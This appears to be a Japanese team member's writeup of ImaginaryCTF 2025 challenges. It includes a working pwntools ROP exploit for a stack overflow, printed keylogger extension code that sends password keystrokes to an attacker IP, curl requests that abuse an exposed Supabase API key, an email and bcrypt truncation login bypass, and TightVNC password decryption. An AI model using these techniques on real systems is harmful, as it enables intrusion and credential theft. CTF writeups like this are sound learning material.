この大会は2025/9/6 4:00(JST)~2025/9/8 4:00(JST)に開催されました。
今回もチームで参戦。結果は2192点で1414チーム中136位でした。
自分で解けた問題をWriteupとして書いておきます。
sanity-check (Misc)
問題にフラグが書いてあった。
ictf{this_ctf_might_make_you_insane}
discord (Misc)
Discordに入り、#imaginaryctf-2025チャネルのメッセージを見ると、フラグが書いてあった。
ictf{yeet}
significant (Misc)

写真の標識の場所の緯度、経度を答える問題。
Googleレンズで画像検索すると、以下のページが見つかる。
https://www.sfmta.com/blog/sister-cities-sign-unveiled-hallidie-plaza
この情報を元に、Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/@37.7844947,-122.4076963,3a,75y,292.66h,97.82t/data=!3m7!1e1!3m5!1sRU-tCB-qzoR6K6jKMNEYQQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-7.816098711152833%26panoid%3DRU-tCB-qzoR6K6jKMNEYQQ%26yaw%3D292.65878377287646!7i16384!8i8192?entry=ttu&g_ep=EgoyMDI1MDkwMi4wIKXMDSoASAFQAw%3D%3D
ictf{37.785,-122.408}
babybof (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { long in_FS_OFFSET; undefined8 unaff_retaddr; undefined1 local_48 [56]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); puts("Welcome to babybof!"); puts("Here is some helpful info:"); printf("system @ %p\n",system); printf("pop rdi; ret @ %p\n",0x4011ba); printf("ret @ %p\n",0x4011bb); printf("\"/bin/sh\" @ %p\n",sh); printf("canary: %p\n",local_10); printf("enter your input (make sure your stack is aligned!): "); FUN_004010c0(local_48); printf("your input: %s\n",local_48); printf("canary: %p\n",local_10); printf("return address: %p\n",unaff_retaddr); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
BOFの問題だが、以下の情報は提示される。
- system関数のアドレス
- 「pop rdi; ret」のガジェットのアドレス
- 「ret」のガジェットのアドレス
- 「/bin/sh」のアドレス
- canaryの値
以上を元にBOFでsystem("/bin/sh")を実行する。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('babybof.chal.imaginaryctf.org', 1337) data = p.recvline().decode().rstrip() print(data) else: p = process('./vuln') for _ in range(2): data = p.recvline().decode().rstrip() print(data) data = p.recvline().decode().rstrip() print(data) system_addr = int(data.split(' ')[-1], 16) data = p.recvline().decode().rstrip() print(data) pop_rdi_addr = int(data.split(' ')[-1], 16) data = p.recvline().decode().rstrip() print(data) ret_addr = int(data.split(' ')[-1], 16) data = p.recvline().decode().rstrip() print(data) bin_sh_addr = int(data.split(' ')[-1], 16) data = p.recvline().decode().rstrip() print(data) canary = int(data.split(' ')[-1], 16) payload = b'A' * 56 payload += p64(canary) payload += b'B' * 8 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(bin_sh_addr) payload += p64(system_addr) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) for _ in range(3): data = p.recvline().decode().rstrip() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to babybof.chal.imaginaryctf.org on port 1337: Done
== proof-of-work: disabled ==
Welcome to babybof!
Here is some helpful info:
system @ 0x7a113825a110
pop rdi; ret @ 0x4011ba
ret @ 0x4011bb
"/bin/sh" @ 0x404038
canary: 0x413eda997da3d500
enter your input (make sure your stack is aligned!): b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xd5\xa3}\x99\xda>ABBBBBBBB\xbb\x11@\x00\x00\x00\x00\x00\xba\x11@\x00\x00\x00\x00\x008@@\x00\x00\x00\x00\x00\x10\xa1%8\x11z\x00\x00'
your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
canary: 0x413eda997da3d500
return address: 0x4011bb
[*] Switching to interactive mode
$ ls
chal
flag.txt
$ cat flag.txt
ictf{arent_challenges_written_two_hours_before_ctf_amazing}
ictf{arent_challenges_written_two_hours_before_ctf_amazing}
comparing (Reversing)
cppの処理概要は以下の通り。
・flag: フラグ
・pq: flagの2バイトごとの{flag[i*2], flag[i+2+1], i}のキュー配列
順番はflagの2バイトの合計が小さい方がtopに来る。
・以下pqが空になるまで繰り返し
・val1: pqのtopのflagのペアの1つ目
・val2: pqのtopのflagのペアの2つ目
・i1: pqのtopのインデックス
・pqのtopをポップする
・val3: pqのtopのflagのペアの1つ目
・val4: pqのtopのflagのペアの2つ目
・i2: pqのtopのインデックス
・pqのtopをポップする
・i1が偶数の場合、outにeven(val1, val3, i1)をpush
・out: val1を文字にしたものとval3を文字にしたものとi1を文字にしたものを結合
・x: val1を文字にしたものとval3を文字にしたものを結合
・outにxの逆順を結合
・outを返却
・i1が奇数の場合、outにodd(val1, val3, i1)をpush
・out: val1を文字にしたものとval3を文字にしたものとi1を文字にしたものを結合後、数値として解釈
・i = 0
・addend = 0
・iが100未満の間以下を実行
・addendにiをプラス
・iをプラス1
・iをマイナス1
・iが0以上の間以下を実行
・addendからiをマイナス
・iをマイナス1
・outを文字列として返却
・i2が偶数の場合、outにeven(val2, val4, i2)をpush
・i2が奇数の場合、outにodd(val2, val4, i2)をpush
・outのサイズ分out[i]を出力最後の部分は偶数の場合、インデックス中心とした回文のようになるまた奇数の場合は、ただASCIIコードを連結したものになる。
1行ずつ見ていく。
- 9548128459の場合は、回文のようになっているため、以下であると考えられる。
var1=95、var3=48、i1=12
- 491095の場合は、回文のようにはならないため、以下であると考えられる。
va2=49、var4=109、i2=5
- 1014813の場合は、回文のようにはならないため、以下であると考えられる。
var1=101、va3=48、i1=13
- 561097の場合は、回文のようにはならないため、以下であると考えられる。
var2=56、va4=109、i2=7
- 10211614611201の場合は、回文のようになっているため、以下であると考えられる。
var1=102、va3=116、i1=14
- 5748108475の場合は、回文のようになっているため、以下であると考えられる。
var2=57、va4=48、i2=10
- 1171123の場合は、回文のようにはならないため、以下であると考えられる。
var1=117、va3=112、i1=3
- 516484615の場合は、回文のようになっているため、以下であると考えられる。
var2=51、va4=64、i2=8
- 114959の場合は、回文のようにはならないため、以下であると考えられる。
var1=114、va3=95、i1=9
- 649969946の場合は、回文のようになっているため、以下であると考えられる。
var2=64、va4=99、i2=6
- 1051160611501の場合は、回文のようになっているため、以下であると考えられる。
var1=105、va3=116、i1=0
- 991021の場合は、回文のようにはならないため、以下であると考えられる。
var2=99、va4=102、i2=1
- 1231012101321の場合は、回文のようになっているため、以下であると考えられる。
var1=123、va3=101、i1=2
- 9912515の場合は、回文のようにはならないため、以下であると考えられる。
var2=99、va4=125、i2=15
- 11411511の場合は、回文のようにはならないため、以下であると考えられる。
var1=114、va3=115、i1=11
- 1151164611511の場合は、回文のようになっているため、以下であると考えられる。
var2=115、va4=116、i2=4
以上からインデックスを元に順に文字にしていく。
>>> s = [105, 99, 116, 102, 123, 99, 117, 51, 115, 116, 48, 109, 95, 99, 48, 109, 112, 64, 114, 64, 116, 48, 114, 115, 95, 49, 101, 56, 102, 57, 101, 125]
>>> ''.join([chr(c) for c in s])
'ictf{cu3st0m_c0mp@r@t0rs_1e8f9e}'
ictf{cu3st0m_c0mp@r@t0rs_1e8f9e}
stacked (Reversing)
Ghidraでデコンパイルする。
undefined8 main(void) { uchar uVar1; int local_c; uVar1 = off(flag[(int)globalvar]); uVar1 = eor(uVar1); uVar1 = rtr(uVar1); uVar1 = inc(uVar1); uVar1 = eor(uVar1); uVar1 = eor(uVar1); uVar1 = eor(uVar1); uVar1 = inc(uVar1); uVar1 = rtr(uVar1); uVar1 = off(uVar1); uVar1 = rtr(uVar1); uVar1 = inc(uVar1); uVar1 = rtr(uVar1); uVar1 = rtr(uVar1); uVar1 = eor(uVar1); uVar1 = inc(uVar1); uVar1 = eor(uVar1); uVar1 = eor(uVar1); uVar1 = eor(uVar1); uVar1 = inc(uVar1); uVar1 = rtr(uVar1); uVar1 = off(uVar1); uVar1 = rtr(uVar1); uVar1 = inc(uVar1); uVar1 = rtr(uVar1); uVar1 = eor(uVar1); uVar1 = rtr(uVar1); uVar1 = inc(uVar1); uVar1 = rtr(uVar1); uVar1 = rtr(uVar1); uVar1 = eor(uVar1); uVar1 = inc(uVar1); uVar1 = rtr(uVar1); uVar1 = off(uVar1); uVar1 = eor(uVar1); uVar1 = inc(uVar1); uVar1 = eor(uVar1); uVar1 = eor(uVar1); uVar1 = rtr(uVar1); uVar1 = inc(uVar1); uVar1 = off(uVar1); uVar1 = off(uVar1); uVar1 = rtr(uVar1); uVar1 = inc(uVar1); uVar1 = rtr(uVar1); uVar1 = rtr(uVar1); uVar1 = eor(uVar1); uVar1 = inc(uVar1); uVar1 = eor(uVar1); uVar1 = off(uVar1); uVar1 = rtr(uVar1); uVar1 = inc(uVar1); uVar1 = off(uVar1); uVar1 = eor(uVar1); uVar1 = off(uVar1); inc(uVar1); for (local_c = 0; local_c < 0xd; local_c = local_c + 1) { printf("%x ",(ulong)(byte)flag[local_c]); } putchar(10); return 0; } int off(uchar param_1) { return param_1 + 0xf; } byte eor(uchar param_1) { return param_1 ^ 0x69; } uint rtr(uchar param_1) { return (uint)param_1 << 7 | (uint)(param_1 >> 1); } char inc(uchar param_1) { flag[(int)globalvar] = param_1; globalvar = globalvar + '\x01'; return flag[(int)globalvar]; }
flagの長さは13で、最終的な暗号化データは以下の通り、問題文に書かれている。
94 7 d4 64 7 54 63 24 ad 98 45 72 35
逆算することによってflagを求める。
#!/usr/bin/env python3 def rev_off(n): return (n - 0xf) & 0xff def rev_eor(n): return n ^ 0x69 def rev_rtr(n): return n >> 7 | ((n << 1) & 0xff) enc = '94 7 d4 64 7 54 63 24 ad 98 45 72 35' enc = [int(c, 16) for c in enc.split(' ')] flag = '' v = enc[0] v = rev_rtr(v) v = rev_eor(v) v = rev_off(v) flag += chr(v) v = enc[1] v = rev_eor(v) v = rev_eor(v) v = rev_eor(v) flag += chr(v) v = enc[2] v = rev_rtr(v) v = rev_off(v) v = rev_rtr(v) flag += chr(v) v = enc[3] v = rev_eor(v) v = rev_rtr(v) v = rev_rtr(v) flag += chr(v) v = enc[4] v = rev_eor(v) v = rev_eor(v) v = rev_eor(v) flag += chr(v) v = enc[5] v = rev_rtr(v) v = rev_off(v) v = rev_rtr(v) flag += chr(v) v = enc[6] v = rev_rtr(v) v = rev_eor(v) v = rev_rtr(v) flag += chr(v) v = enc[7] v = rev_eor(v) v = rev_rtr(v) v = rev_rtr(v) flag += chr(v) v = enc[8] v = rev_eor(v) v = rev_off(v) v = rev_rtr(v) flag += chr(v) v = enc[9] v = rev_rtr(v) v = rev_eor(v) v = rev_eor(v) flag += chr(v) v = enc[10] v = rev_rtr(v) v = rev_off(v) v = rev_off(v) flag += chr(v) v = enc[11] v = rev_eor(v) v = rev_rtr(v) v = rev_rtr(v) flag += chr(v) v = enc[12] v = rev_rtr(v) v = rev_off(v) v = rev_eor(v) flag += chr(v) flag = 'ictf{%s}' % flag print(flag)
ictf{1n54n3_5k1ll2}
imaginary-notes (Web)
Chromeのデベロッパーツールを開いた状態で、適当なユーザを作成し、ログインすると、以下のURLへのアクセスがあることがわかる。
https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=*&username=eq.<ユーザ名>&password=eq.<パスワード>
このとき、リクエストヘッダは以下のようになっている。
Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI
試しにこのままアクセスしてみる。
$ curl "https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=*&username=eq.<ユーザ名>&password=eq.<パスワード>" -H "Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI" [{"id":"9645392e-6e9c-449b-84af-8f057a0a03b1","username":"<ユーザ名>","password":"<パスワード>"}]
条件を満たすレコードが id、username, password の組み合わせで取得できる。usernameに"admin"だけ指定してみる。
$ curl "https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=*&username=eq.admin" -H "Apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI" [{"id":"5df6d541-c05e-4630-a862-8c23ec2b5fa9","username":"admin","password":"ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}"}]
"admin"のパスワードにフラグが設定されていた。
ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}
certificate (Web)
HTMLソースを見ると、以下のように書いてある。
<script> : function customHash(str){ let h = 1337; for (let i=0;i<str.length;i++){ h = (h * 31 + str.charCodeAt(i)) ^ (h >>> 7); h = h >>> 0; // force unsigned } return h.toString(16); } function makeFlag(name){ const clean = name.trim() || "anon"; const h = customHash(clean); return `ictf{${h}}`; } :
nameが"Eth007"の場合を算出すれば、それがフラグになる。Chromeのデベロッパーツールで実行する。
> function customHash(str){
let h = 1337;
for (let i=0;i<str.length;i++){
h = (h * 31 + str.charCodeAt(i)) ^ (h >>> 7);
h = h >>> 0; // force unsigned
}
return h.toString(16);
}
function makeFlag(name){
const clean = name.trim() || "anon";
const h = customHash(clean);
return `ictf{${h}}`;
}
< undefined
> makeFlag("Eth007")
< 'ictf{7b4b3965}'
ictf{7b4b3965}
passwordless (Web)
メールアドレスを登録すると、ランダム16バイト文字列の16進数表記にしたものを結合したものがパスワードになる。メールアドレスの最大入力長は64で、パスワードはbcryptでハッシュ化されて登録される。ただ、メールアドレスの長さのチェックをしているのは、normalizeEmailをした後である。gmail.comに限り、ユーザ名部分のメールアドレスから"+"以降が削除される。"+"以降を除くと64文字以下で、"+"以降を含め72文字にすれば、パスワードは決まるはずである。
このメールアドレスを登録する。
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+aaaaaaa@gmail.com
パスワードもメールアドレスと同じでログインでき、フラグが表示された。
ictf{8ee2ebc4085927c0dc85f07303354a05}
wave (Forensics)
再生しようとしても再生できない。EXIFを見てみると、フラグが設定されていた。
$ exiftool wave.wav ExifTool Version Number : 13.00 File Name : wave.wav Directory : . File Size : 1051 kB File Modification Date/Time : 2025:09:06 06:18:55+09:00 File Access Date/Time : 2025:09:06 06:19:15+09:00 File Inode Change Date/Time : 2025:09:06 06:18:55+09:00 File Permissions : -rwxrwxrwx File Type : MP3 File Type Extension : mp3 MIME Type : audio/mpeg ID3 Size : 2194 Comment : ictf{obligatory_metadata_challenge} Title : Artist : Album : Year : Genre : None
ictf{obligatory_metadata_challenge}
obfuscated-1 (Forensics)
VNCのパスワードを答える問題。
rumiフォルダ配下にNTUSER.DATがある。Registry Viewerで開き、[Software]-[TightVNC]-[Password]を見ると、バイナリで以下のように設定されている。
7E 9B 31 12 48 B7 C8 A8
TightVNCのパスワードについて調べると、DESで暗号化されていて鍵は以下の固定のものであることがわかる。
0xe8, 0x4a, 0xd6, 0x60, 0xc4, 0x72, 0x1a, 0xe0
このことを元に保存されているパスワードを復号する。
#!/usr/bin/env python3 from Crypto.Cipher import DES ct = bytes([0x7e, 0x9b, 0x31, 0x12, 0x48, 0xb7, 0xc8, 0xa8]) key = bytes([0xe8, 0x4a, 0xd6, 0x60, 0xc4, 0x72, 0x1a, 0xe0]) des = DES.new(key, DES.MODE_ECB) password = des.decrypt(ct).decode() flag = 'ictf{%s}' % password print(flag)
ictf{Slay4U!!}
x-tension (Forensics)
httpでフィルタリングしてみる。No.13635パケットでFunnyCatPicsExtension.crxが通信されているので、エクスポートする。解凍すると、manifest.jsonとcontent.jsが入っていて、manifest.jsonには以下のように書いてある。
{ "manifest_version": 3, "name": "Funny Cat Pics Generator", "version": "1.0", "description": "Sends cat pics or something", "permissions": [ "scripting" ], "host_permissions": [ "<all_urls>" ], "content_scripts": [ { "matches": ["<all_urls>"], "js": ["content.js"], "run_at": "document_idle" } ] }
content.jsは難読化されているので、ChatGPTで解除してもらうと、以下のようになっていることがわかった。
function getKey() { // 現在のUTC分を取得して +0x20 (32) して文字に変換 const minute = new Date().getUTCMinutes(); return String.fromCharCode(minute + 32); } function xorEncrypt(input, key) { let out = ''; for (let i = 0; i < input.length; i++) { const c = input.charCodeAt(i); const k = key.charCodeAt(0); const x = c ^ k; // 16進文字列に変換して2桁に0埋め out += x.toString(16).padStart(2, '0'); } return out; } // キー入力イベントを監視 document.addEventListener('keydown', event => { const target = event.target; // 入力先が <input type="password"> の場合 if (target.type === 'password') { const inputChar = event.key.length === 1 ? event.key : ''; const key = getKey(); const enc = xorEncrypt(inputChar, key); const payload = encodeURIComponent(enc); if (inputChar) { // 攻撃者サーバーに送信 fetch('http://192.9.137.137:42552/?t=' + payload); } } });
XOR鍵はUTCの分に32足して、それをASCIIコードとして文字にしたもの。
入力されたキーはNo.13909以降のパケットでわかっているので、書き出す。
0x5e, 0x54, 0x43, 0x51, 0x4c, 0x52, 0x4f, 0x43, 0x52, 0x59, 0x44, 0x5e, 0x58, 0x59, 0x44, 0x68, 0x5a, 0x5e, 0x50, 0x5f, 0x43, 0x68, 0x5d, 0x42, 0x44, 0x43, 0x68, 0x44, 0x42, 0x54, 0x5c, 0x4a
フラグが"i"から始まることを前提にkeyを算出し、そのkeyを使って、復号する。
>>> key = ord('i') ^ 0x5e
>>> enc = [0x5e, 0x54, 0x43, 0x51, 0x4c, 0x52, 0x4f, 0x43, 0x52, 0x59, 0x44, 0x5e, 0x58, 0x59, 0x44, 0x68, 0x5a, 0x5e, 0x50, 0x5f, 0x43, 0x68, 0x5d, 0x42, 0x44, 0x43, 0x68, 0x44, 0x42, 0x54, 0x5c, 0x4a]
>>> ''.join([chr(c ^ key) for c in enc])
'ictf{extensions_might_just_suck}'
ictf{extensions_might_just_suck}
redacted (Crypto)

問題はCyberChefで暗号化しているので、マスクされているフラグを答える問題。
CyberChefでは、XOR KeyのHEXの16進数文字以外の文字は無視される。CyberChefで、少しずつInputやKeyの文字を入力し、Outputが一致するものを探す。
Keyの"ictf"でOutputが"65 6c"になることはわかっている。次の文字のXORを見てみる。
>>> hex(ord('t') ^ 0xce)
'0xba'
>>> hex(ord('f') ^ 0x6b)
'0xd'
>>> hex(ord('{') ^ 0xc1)
'0xba'KeyはInputの文字の途中までであるということだと推測できるので、以上の情報を元に、調整しながら、フラグを求める。
また途中ictfのkey「0c 0f」とのXORがpribtableになるはず。画像中の文字列の長さから、怪しい箇所をXORしてみる。
>>> chr(0x0c ^ 0x53) '_' >>> chr(0x0f ^ 0x6e) 'a' >>> chr(0x0c ^ 0x6e) 'b' >>> chr(0x0f ^ 0x6e) 'a' >>> chr(0x0c ^ 0x63) 'o' >>> chr(0x0f ^ 0x6d) 'b'
候補はこの3箇所。続く文字も試してみる。
>>> chr(0xba ^ 0x6e) 'Ô' >>> chr(0xba ^ 0xde) 'd' >>> chr(0xba ^ 0x7e) 'Ä'
候補の内2個目が該当しそう。改めて暗号文を書き出す。
65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73
この中で鍵の2周目は以下の部分になりそう。
暗号文:65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73 鍵 :0c 0f ba 0c 0f ba <------------------- 1周目 -------------------> <----------------- 2周目 ------------------>
>>> chr(0x52 ^ 0x0d) '_' >>> chr(0xdf ^ 0xba) 'e'
この時点の状態は以下のようになる。
暗号文:65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73
鍵 :0c 0f ba 0d ba 0c 0f ba 0d ba
<------------------- 1周目 -------------------> <----------------- 2周目 ------------------>
平文 :i c t f { b a d _ e次にフラグが"}"で終わることから考える。
>>> chr(ord('}') ^ 0x73)
'\x0e'
>>> chr(0x6a ^ 0x0e)
'd'この時点の状態は以下のようになる。
暗号文:65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73
鍵 :0c 0f ba 0d ba 0e 0c 0f ba 0d ba 0e
<------------------- 1周目 -------------------> <----------------- 2周目 ------------------>
平文 :i c t f { d b a d _ e }0オリジンで、21~29バイト目の平文が"ncryption"と推測する。
>>> hex(ord('n') ^ 0x63)
'0xd'
>>> chr(0x75 ^ 0x0d)
'x'
>>> hex(ord('c') ^ 0x6d)
'0xe'
>>> chr(0x61 ^ 0x0e)
'o'
>>> hex(ord('r') ^ 0x7e)
'0xc'
>>> chr(0x7e ^ 0x0c)
'r'
>>> hex(ord('y') ^ 0x75)
'0xc'
>>> chr(0x53 ^ 0x0c)
'_'
>>> hex(ord('p') ^ 0x7f)
'0xf'
>>> chr(0x66 ^ 0x0f)
'i'
>>> hex(ord('t') ^ 0xce)
'0xba'
>>> chr(0xc9 ^ 0xba)
's'
>>> hex(ord('i') ^ 0x64)
'0xd'
>>> chr(0x52 ^ 0x0d)
'_'
>>> hex(ord('o') ^ 0xd5)
'0xba'
>>> chr(0xd8 ^ 0xba)
'b'
>>> hex(ord('n') ^ 0x63)
'0xd'
>>> chr(0x6c ^ 0x0d)
'a'この時点の状態は以下のようになる。
暗号文:65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53 6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73
鍵 :0c 0f ba 0d ba 0d 0e 0c 0c 0f ba 0d ba 0d 0e 0c 0f ba 0d ba 0d 0e 0c 0c 0f ba 0d ba 0d 0e
<------------------- 1周目 -------------------> <----------------- 2周目 ------------------>
平文 :i c t f { x o r _ i s _ b a d b a d _ e n c r y p t i o n }15バイト目が空いているが、1周目と思っていた箇所が1周目と2周目が含まれていた。この場合鍵は0cとなる。
>>> chr(0x53 ^ 0x0c) '_'
以上により、フラグを割り出すことができた。
ictf{xor_is_bad_bad_encryption}
leaky-rsa (Crypto)
サーバの処理概要は以下の通り。
・p: 512ビット素数 ・q: 512ビット素数 ・n = p * q ・e = 65537 ・d = pow(e, -1, (p-1)*(q-1)) ・key_m: n未満のランダム整数 ・key_c = pow(key_m, e, n) ・key: key_mの文字列のsha256ダイジェストの先頭16バイト文字列 ・iv: ランダム16バイト文字列 ・ct: flagをパディングして、key, ivを使ってAES CBCモード暗号化したもの ・n, key_c, ivの16進数表記, ctの16進数表記を出力 ・以下1024回繰り返し ・idx: 4未満のランダム整数 ・idxを表示 ・response: 入力→jsonとしてロード ・c = response['c'] % n ・cとkey_cは一致しないことをチェック ・m = pow(c, d, n) ・b = get_bit(m, idx) ・下位からidxビット目のビットを返却 ・key_mを出力
最後にkey_mを出力しているので、key_mの値からkeyを算出し、AES CBCモード暗号の復号ができる。
#!/usr/bin/env python3 import socket import json from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from hashlib import sha256 def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('leaky-rsa.chal.imaginaryctf.org', 1337)) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) res = json.loads(data) n = res['n'] key_c = res['c'] iv = bytes.fromhex(res['iv']) ct = bytes.fromhex(res['ct']) for _ in range(1024): data = recvuntil(s, b'\n').rstrip() print(data) req = json.dumps({"c": 1}) print(req) s.sendall(req.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) key_m = int(data) key = sha256(str(key_m).encode()).digest()[:16] cipher = AES.new(key, AES.MODE_CBC, IV=iv) flag = unpad(cipher.decrypt(ct), 16).decode() print(flag)
実行結果は以下の通り。
== proof-of-work: disabled ==
{"n": 82120907316438287590127209728744139815579213907585245855960049918035696668111940008566878147898775412438011289897104750791589673072590795405087782668467008634447536388080289441221726410415194130027407893812673538629324580021554449161619910423873295928086880017311615723700919693146872515605197640831718617347, "c": 49514689154747726606999685503422175727200180249757320775828780737114895586697321546291681552419302496414548688913565924153588017230117058688307968952189218653558765452002616347435201372654068252491929665400544786479746599163705704399052818960745800084880202773087968110192270598742854635424674854096650787174, "iv": "f28e86cbd99f142fe5fdb88e11729654", "ct": "28bb8434962c957f5e529bf0aecd4170033eb6ca5c4d837b91dae57f95b8f28d70bd607adf4ba339f6cd91d4ad32d9f8d564d3a8b64e6782838cbf64c7f8d4a1619ec541730ccac2cadc92e8bbae751d"}
{"idx": 3}
{"c": 1}
{"b": 0}
:
{"idx": 2}
{"c": 1}
{"b": 0}
59095793997565212259269545403822521829679064037108595056325282765281531125724575239467931097758565689697423904103021742755154238498167568088130703880936901274950342765322128432444543220095686795330843326431405421609402001688293749538586295662232947417864766929150331839424480040929374585118169859701647454440
ictf{p13cin9_7h3_b1t5_t0g37her_3f0068c1b9be2547ada52a8020420fb0}
ictf{p13cin9_7h3_b1t5_t0g37her_3f0068c1b9be2547ada52a8020420fb0}
survey (Misc)
アンケートに答えたら、以下のように表示された。
What you seek is at https://eth007.me/CyberChef/#recipe=Fernet_Decrypt('sPNJ2c3JWEMuojL5uuueVtp0rdlViZw1wpNtArv4xYQ%3D')&input=Z0FBQUFBQm91X0o4QjlkWkFKSEVzbWVBVVhYZHljQ2JLMU1MX1pZcm03Y1lrZU1ZVEp0V2JzNDVjNS1TQWJVZEYzR3hFUnloOEl4RzFCZWptbU4waDg0QUsxdjFNNExpQWludlg4NURyYU5IdE12aVVsb1ltQm1rQk1Zb0tORTJJX3NfdV9abjlyb08&oeol=FF ここにアクセスしたら、復号結果にフラグが書いてあった。
ictf{thanks_for_playing_imaginaryctf_2025!}